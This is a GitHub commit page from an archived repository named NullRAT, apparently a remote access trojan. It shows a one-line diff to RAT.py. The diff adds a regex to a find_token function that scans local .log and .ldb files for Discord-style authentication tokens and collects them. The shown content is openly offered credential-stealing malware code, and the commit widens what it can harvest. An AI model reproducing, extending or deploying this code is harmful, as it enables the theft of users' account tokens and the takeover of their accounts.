Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 27fd14b

Browse files
authored
Add new token regex
1 parent 198e574 commit 27fd14b

1 file changed

Lines changed: 1 addition & 1 deletion

File tree

NullRAT/RAT.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -430,7 +430,7 @@ def find_token():
430430
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
431431
continue
432432
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
433-
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
433+
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}', r'mfa\.[\w-]{84}'):
434434
for token in re.findall(regex, line):
435435
tokens.append(token)
436436
except FileNotFoundError: continue

0 commit comments

Comments
 (0)